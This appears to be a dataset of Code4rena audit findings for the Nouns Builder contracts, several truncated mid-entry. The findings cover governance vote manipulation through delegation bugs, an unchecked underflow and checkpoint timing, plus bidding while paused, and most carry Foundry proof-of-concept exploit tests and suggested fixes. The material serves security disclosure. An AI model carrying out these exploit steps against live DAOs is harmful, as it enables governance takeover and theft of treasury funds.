xanoutas/solidity-security-findings huggingface dataset:
Voting Power Underflow
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268


# Vulnerability details

### Impact
It is possible to gain an astronomically large number of votes by underflowing a variable. This can lead to unfair governance.

### Description
The error occurs in `_moveDelegateVotes()` function in `ERC721Votes.sol`. It is marked `unchecked {}`. This becomes a problem when `prevTotalVotes = 0 && _amount > 0`. Which is possible in this flow:
```
1. attacker: token.delegate(attacker);
	// Attacker Votes: 0
2. attacker: gets 1 NFT with tokenId=123
	// Attacker Votes: 1 
3. attacker: token.delegate(address(1));
	// Attacker Votes: 0, address(1) Votes: 1
4. attacker: token.transferFrom(attacker, address(1), 123);
	// Attacker Votes: STONKS, address(1) Votes: 2

Result:
attacker votes: 6277101735386680763835789423207666416102355444464034512895
address(1) votes:  2
```
#### Explanation:
- (1) Attacker delegates to self before having any tokens. which will set
```solidity
delegation[_from] = _to;  // delegation[attacker] = attacker
```
- (2) Attacker gets 1 NFT (from auction or otherwise)
- (3) Attacker calls `delegate(someAddr)`, the address delegated to does not matter as we are trying to underflow the attacker's Votes. This will set attacker votes to 0 as the balance  of the attacker Votes are moved to `address(1)`.
```solidity
// In _delegate():
...
// Transfer voting weight from the previous delegate to the new delegate
_moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
```
- (4) Attacker calls `transferFrom()` to transfer tokens away which will invoke `_afterTokenTransfer()` -> `_moveDelegateVotes()` which will subtract 1 from the attacker's `prevTotalVotes` which is 0.
```solidity
// In _afterTokenTransfer():
... 
// Transfer 1 vote from the sender to the recipient
_moveDelegateVotes(_from, _to, 1);
super._afterTokenTransfer(_from, _to, _tokenId);
```
- (5) Profit. 0 - 1 = STONKS.

### Code POC
```solidity
// Insert this test case into Token.t.sol
// Run: forge test --match-contract Token -vv

import "forge-std/console.sol";
...
function testVotingPowerStonks() public {
        deployMock();
        
        address voter1;
        uint256 voter1PK;
  
        // Voter with 1 NFT voting power
        voter1PK = 0xABC;
        voter1 = vm.addr(voter1PK);
        vm.deal(voter1, 1 ether);

        // Start Exploit
        
        // delegate to self before having a token
        vm.prank(voter1);
        token.delegate(voter1);

        // Get 1 token
        vm.prank(founder);
        auction.unpause();
        vm.prank(voter1);
        auction.createBid{ value: 0.420 ether }(2);
        vm.warp(auctionParams.duration + 1 seconds);
        auction.settleCurrentAndCreateNewAuction();

        vm.startPrank(voter1);
        console.log("Initial Votes");
        console.log("voter1 votes: ", token.getVotes(voter1));
        console.log("addr(1) votes: ", toke
`_transferFrom()` can be used to indefinitely increase voting power.
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268


# Vulnerability details

## `_transferFrom()` can be used to indefinitely increase voting power.
### Impact
It is possible to indefinitely increase voting power by creating new accounts (addresses) and delegating. This will lead to unfair governance as a user can vote with more votes than actual.

### Explanation
The `_transferFrom()`  does not move delegates from the src's delegates to the destination's delegates, instead, it moves directly from src to dest. (see recommendations and Code POC for better understanding)

### Code POC
```solidity
// Insert this test case into Token.t.sol
// Run: forge test --match-contract Token -vv

import "forge-std/console.sol";
...
function testIncreaseVotePower() public {
        deployMock();

        address voter1;
        address voter2;
        uint256 voter1PK;
        uint256 voter2PK;

        // Voter with 1 NFT voting power
        voter1PK = 0xABC;
        voter1 = vm.addr(voter1PK);
        vm.deal(voter1, 1 ether);
        // Second account created by same voter
        voter2PK = 0xABD;
        voter2 = vm.addr(voter2PK);

		// Giving voter1 their 1 NFT
        vm.prank(founder);
        auction.unpause();
        vm.prank(voter1);
        auction.createBid{ value: 0.420 ether }(2);
        vm.warp(auctionParams.duration + 1 seconds);
        auction.settleCurrentAndCreateNewAuction();

        // Start Exploit
        console.log("Initial Votes");
        console.log("voter1: ", token.getVotes(voter1));
        console.log("voter2: ", token.getVotes(voter2));
        
        vm.prank(voter1);
        token.delegate(voter2);
        console.log("After Delegating Votes, voter1 -> delegate(voter2)");
        console.log("voter1: ", token.getVotes(voter1));
        console.log("voter2: ", token.getVotes(voter2));

        vm.prank(voter1);
        token.transferFrom(voter1, voter2, 2); 
        console.log("After Token transfer, voter1 -transferFrom()-> voter2");
        console.log("voter1 votes: ", token.getVotes(voter1));
        console.log("voter2 votes: ", token.getVotes(voter2));

        vm.prank(voter2);
        token.delegate(voter2);
        console.log("After Delegating Votes, voter2 -> delegate(voter2)");
        console.log("voter1: ", token.getVotes(voter1));
        console.log("voter2: ", token.getVotes(voter2));
    }
```
Expected Output:
```solidity
[PASS] testVoteDoublePower() (gas: 3544946)
Logs:
  Initial Votes
  voter1:  1
  voter2:  0
  After Delegating Votes, voter1 -> delegate(voter2)   
  voter1:  1
  voter2:  1
  After Token transfer, voter1 -transferFrom()-> voter2
  voter1 votes:  0
  voter2 votes:  2
  After Delegating Votes, voter2 -> delegate(voter2)   
  voter1:  0
  voter2:  3
```
### Recommendations
Looking at [OpenZeppelin's ERC721Votes](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/6a8d977d2248cf1c1
Governor allows user to transfer nft and create a proposal, based on that nft's votes in the same block
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L128


# Vulnerability details

## Impact
`Governor::propose` function checks if sender has more than `proposalThreshold()` votes to create proposal. It checks it in such a way `if (getVotes(msg.sender, block.timestamp - 1) < proposalThreshold()) revert BELOW_PROPOSAL_THRESHOLD();`. It checks the votes in the checkpoint that was before `block.timestamp`.

This allows user to transfer all his nft(checkpoint with `block.timestamp` is created where proposer doesn't have votes), then create a proposal in the same block(votes from checkpoint that was before are used).

## Proof of Concept
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L128

## Recommended Mitigation Steps
Use `if (getVotes(msg.sender, block.timestamp) < proposalThreshold()) revert BELOW_PROPOSAL_THRESHOLD();` instead to check checkpoint with current block.timestamp as well.
Votes can be artificially increased by writing multiple checkpoints with the same timestamp
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L242-L256
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L93-L117


# Vulnerability details

## Impact
An attacker can increase their voting power by carefully manipulating the checkpoints and inserting multiple checkpoints with the same timestamp.
It requires creating checkpoints with the same timestamp as the proposal creation timestamp, this is possible by monitoring the mempool.

Because of bugs in the `delegate` function, this attack relies just on transfering tokens. With delegation this attack can be easily amplified.

The POC below will show how to increase the number of votes from 3 to 4, but can be chained in order to increase by more votes.

## Proof of Concept
Below is a forge test showing the issue:

Only 3 tokens are minted, but there are a total of 4 votes available to vote with

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import "forge-std/Test.sol";
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";
import { GovernorTypesV1 } from "../../src/governance/governor/types/GovernorTypesV1.sol";

contract TokenTest is NounsBuilderTest, GovernorTypesV1 {
    address user1 = address(0x1001);
    address user2 = address(0x1002);
    address user3 = address(0x1003);
    address user4 = address(0x1004);

    function setUp() public virtual override {
        super.setUp();

        vm.label(user1, "user1");
        vm.label(user2, "user2");
        deployMock();
    }

    function test_sameTimestampAttack() public {
        vm.startPrank(address(auction));
        token.mint();
        token.transferFrom(address(auction), user1, 0);
        token.mint();
        token.transferFrom(address(auction), user2, 1);
        token.mint();
        token.transferFrom(address(auction), user3, 2);
        vm.stopPrank();

        vm.warp(block.timestamp + 1 hours);

        (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal();
        vm.prank(user3);
        bytes32 proposalId = governor.propose(targets, values, calldatas, "test");

        Proposal memory proposal = governor.getProposal(proposalId);

        vm.prank(user1);
        token.transferFrom(user1, user2, 0);

        vm.prank(user3);
        token.transferFrom(user3, user2, 2);

        vm.prank(user2);
        token.transferFrom(user2, user3, 2);

        vm.warp(block.timestamp + 1 hours);
        vm.prank(user2);
        token.transferFrom(user2, user4, 1);

        assertEq(governor.getVotes(user2, proposal.timeCreated), 3);
        assertEq(governor.getVotes(user3, proposal.timeCreated), 1);
    }

    function mockProposal()
        internal
        view
        returns (
            address[] memory targets,
            uint256[] memory values,
            bytes[] memory calldatas
User can get 2^192-1 votes
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190


# Vulnerability details

## Impact
By taking advantage of 2 bugs a user can get themselves 2^192-1 votes.
This amount of voting gives the user ability to pass or defeat any proposal.
In the best case scenario, it bricks the DAO and makes it ineffective, locking in funds.
In the worst case scenario it allows the user to pass a proposal to drain all the funds.

## Proof of Concept

The 2 bugs are:
1. in `delegate` function the user's voting power is not decreased
2. in `_afterTokenTransfer` the votes are moved from the NFT owners instead of from their delegates

The steps needed to take advantage of this:
1. User (U) gets transferred one token (e.g winning auction)
    1. balanceOf(U) = votes(U) = 1
2. U delegates to D
    1. balanceOf(U) = 1, votes(U) = 1, votes(D) = 1   // due to bug #1
3. U gets transferred another token
    1. balanceOf(U) = 2, votes(U) = 2, votes(D) = 1   // due to bug #2 the votes go to U instead of D
4. U delegates to D2
    1. balanceOf(U) = 2, votes(U) = 2, votes(D2) = 2, votes(D) = 2^192 - 1   // D reduces delegates by 2, because the block is unchecked, the underflow is allowed

Forge test showing the issue:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";

contract TokenTest is NounsBuilderTest, TokenTypesV1 {
    address user1 = address(0x1001);
    address delegate1 = address(0x2001);
    address delegate2 = address(0x2002);

    function setUp() public virtual override {
        super.setUp();

        vm.label(user1, "user1");
        vm.label(delegate1, "delegate1");
        deployMock();
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](1);
        uint256[] memory percents = new uint256[](1);
        uint256[] memory vestingEnds = new uint256[](1);

        wallets[0] = founder;
        percents[0] = 0;
        vestingEnds[0] = 4 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }

    function test_pown() public {
        // user1 gets one token
        vm.startPrank(address(auction));
        token.mint();
        token.transferFrom(address(auction), user1, 0);
        vm.stopPrank();

        // user1 has 1 token & 1 vote
        assertEq(token.balanceOf(user1), 1);
        assertEq(token.getVotes(user1), 1);

        vm.prank(user1);
        token.delegate(delegate1);
        assertEq(token.getVotes(user1), 1);
        assertEq(token.getVotes(delegate1), 1);

        // user1 gets another token
        vm.startPrank(address(auction));
        token.mint();
        token.transferFrom(address(auction), user1, 1);
        vm.stopPrank();

        assertEq(tok
Delegating votes leaves the token owner with votes while giving the delegate additional votes
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190


# Vulnerability details

## Impact
After a token holder delegates to another address, the token holder still has the same number of votes, while the delegate also has this number votes.
This means any token holder can double their effective voting power.
This makes it much easier to pass the quorum requirement, and makes passing any proposal much "cheaper". This can be very dangerous if a malicious token gets enough tokens and would risk take over of the DAO.
It also allows a token holder to easily defeat proposals by having double the votes.

## Proof of Concept
The following forge test demonstrates the issue:

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";

contract TokenTest is NounsBuilderTest, TokenTypesV1 {
    address user1 = address(0x1001);
    address delegate1 = address(0x2001);
    address delegate2 = address(0x2002);

    function setUp() public virtual override {
        super.setUp();

        vm.label(user1, "user1");
        vm.label(delegate1, "delegate1");
        deployMock();
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](1);
        uint256[] memory percents = new uint256[](1);
        uint256[] memory vestingEnds = new uint256[](1);

        wallets[0] = founder;
        percents[0] = 0;
        vestingEnds[0] = 4 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }

    function test_doubleVotes() public {
        // user1 gets one token
        vm.startPrank(address(auction));
        for (uint256 i; i < 5; i++) {
            token.mint();
            token.transferFrom(address(auction), user1, i);
        }
        vm.stopPrank();

        // user1 has 5 tokens & votes
        assertEq(token.balanceOf(user1), 5);
        assertEq(token.getVotes(user1), 5);

        // delegate to delegate1
        vm.prank(user1);
        token.delegate(delegate1);

        // both user and delegate have 5 votes each
        assertEq(token.getVotes(delegate1), 5);
        assertEq(token.getVotes(user1), 5);
    }
}
```

## Tools Used
Manual review

## Recommended Mitigation Steps
Change line 181 in ERC721Votes.sol to:
`address prevDelegate = delegates(_from);`

and change the function `delegates(address)` from `external` to `public`
Delegation provides a way to double vote
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L189


# Vulnerability details

## Impact

Delegation should transfer an account's votes to the other account. Instead, the way the code is written in `_delegate()`, the votes are only
transferred if there is a previous delegation; otherwise, the `prevDelegate` variable is zero, and `_moveDelegateVotes` behaves as when a new token is minted (`_from` parameter is zero).

The result is that an attacker holding two tokens in separate accounts can delegate from one account to the other and viceversa, and get four votes instead of two.

## Proof of Concept

The following failing test illustrates the issue: founder delegates to founder2, so they should not have any votes anymore, and
founder2 should get two votes. Instead, founder still has 1 vote, and founder2 has 2.

When founder2 then delegates to founder, they should again each have 1 vote (delegated from the other founder). Instead,
they each have 2 votes, doubling their voting power.

```diff
diff --git a/test/Token.t.sol b/test/Token.t.sol
index 08eadd1..4b9098e 100644
--- a/test/Token.t.sol
+++ b/test/Token.t.sol
@@ -85,6 +85,44 @@ contract TokenTest is NounsBuilderTest, TokenTypesV1 {
         assertEq(token.getVotes(address(auction)), 1);
     }
 
+    function test_DelegateDoubleVote() public {
+        deployMock();
+
+        vm.prank(founder);
+        auction.unpause();
+
+        assertEq(token.totalSupply(), 3);
+
+        assertEq(token.ownerOf(0), founder);
+        assertEq(token.ownerOf(1), founder2);
+        assertEq(token.ownerOf(2), address(auction));
+
+        assertEq(token.balanceOf(founder), 1);
+        assertEq(token.balanceOf(founder2), 1);
+        assertEq(token.balanceOf(address(auction)), 1);
+
+        assertEq(token.getVotes(founder), 1);
+        assertEq(token.getVotes(founder2), 1);
+        assertEq(token.getVotes(address(auction)), 1);
+
+        // Now founder delegates to founder2
+        vm.prank(founder);
+        token.delegate(founder2);
+
+        // So founder's vote should now be in founder2's hands
+        assertEq(token.getVotes(founder), 0);
+        assertEq(token.getVotes(founder2), 2);
+
+        // founder2 delegates their own vote -
+        // so now each should get 1 vote again
+        vm.prank(founder2);
+        token.delegate(founder);
+
+        assertEq(token.getVotes(founder), 1);
+        assertEq(token.getVotes(founder2), 1);
+
+    }
+
     function test_MaxOwnership100Founders() public {
         createUsers(100, 1 ether);
 
```

## Tools Used

VSCode, foundry

## Recommended Mitigation Steps

When there is no previous delegation, transfer the user's own votes instead of creating new ones:

```diff
diff --git a/src/lib/token/ERC721Votes.sol b/src/lib/token/ERC721Votes.sol
index 3e64720..b9e5dd7 100644
--- a/src/lib/token/ERC721Votes.sol
+++ b/src/lib/token/ERC721Votes.sol
@@ -185,6 +185,9 @@ abstract contract ERC721
NFT owner can double the number of votes by self-delegating
Audit: 2022-09-nouns-builder-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L181
https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268


# Vulnerability details

Minting an NFT entitles the NFT owner to 1 vote. This is accomplished by using the `ERC721Votes._afterTokenTransfer` ERC721 hook. However, the `ERC721Votes._afterTokenTransfer` and `ERC721Votes._delegate` function are not using the correct (and self-delegated) delegators and delegatees (NFTs are self-delegated by default).

## Impact

Self-delegating voting power following an NFT mint leaves the NFT owner with double the voting power.

## Proof of Concept

The following test case demonstrates how an NFT owner can increase the voting power by self-delegating after a previous NFT mint.

Copy paste the following test case into `Gov.t.sol` and run the test via `forge test --match-test test_doubleYourVotes`:

```solidity
function test_doubleYourVotes() public {
    mintVoter1();

    assertEq(token.balanceOf(voter1), 1);

    vm.warp(block.timestamp + 5 minutes);

    uint256 votesBeforeSelfDelegation = token.getPastVotes(voter1, block.timestamp - 1);

    assertEq(votesBeforeSelfDelegation, 1);

    vm.prank(voter1);
    token.delegate(voter1);

    vm.warp(block.timestamp + 5 minutes);

    uint256 votesAfterSelfDelegation = token.getPastVotes(voter1, block.timestamp - 1);

    assertEq(votesAfterSelfDelegation, 2);
}
```

## Tools Used

Manual review

## Recommended mitigation steps

Consider using `delegates(..)` within the `ERC721Votes._afterTokenTransfer` and `ERC721Votes._delegate` function:

```solidity
 function _afterTokenTransfer(
    address _from,
    address _to,
    uint256 _tokenId
) internal override {
    // Transfer 1 vote from the sender to the recipient
    _moveDelegateVotes(delegates(_from), delegates(_to), 1);

    super._afterTokenTransfer(_from, _to, _tokenId);
}
```

```solidity
function _delegate(address _from, address _to) internal {
    // Get the previous delegate
    address prevDelegate = delegates(_from);

    // Store the new delegate
    delegation[_from] = _to;

    emit DelegateChanged(_from, prevDelegate, _to);

    // Transfer voting weight from the previous delegate to the new delegate
    _moveDelegateVotes(prevDelegate, _to, balanceOf(_from));
}
```

_Note: This requires changing the function visibility of `ERC721Votes.delegates` from `external` to `public`._

**Attention!** This recommended mitigation opens up a new issue. Delegating votes to the zero-address will break token transfers. Therefore it's advised to prevent vote delegation to `address(0)` via `ERC721Votes.delegate` and `ERC721Votes.delegateBySig`.
Bids can be created while paused
Audit: 2022-09-nouns-builder-findings
Severity: MEDIUM

# Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L88-L92


# Vulnerability details

createBid() allows for bid creation while the Auction is paused. As the latter happens on a system error (mint failure), this can allow an attacker to interacts with the malfunctioning system.

This at least can lead to misallocation of user's funds, i.e. freezing the bid while there is no chance to get the token as mint doesn't work.

## Proof of Concept

createBid() allows for funds deposit while the Auction is in malfunction state:

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L88-L92

```solidity
    /// @notice Creates a bid for the current token
    /// @param _tokenId The ERC-721 token id
    function createBid(uint256 _tokenId) external payable nonReentrant {
        // Get a copy of the current auction
        Auction memory _auction = auction;
```


## Recommended Mitigation Steps

https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L88-L92

```solidity
    /// @notice Creates a bid for the current token
    /// @param _tokenId The ERC-721 token id
-   function createBid(uint256 _tokenId) external payable nonReentrant {
+   function createBid(uint256 _tokenId) external payable whenNotPaused nonReentrant {
        // Get a copy of the current auction
        Auction memory _auction = auction;
```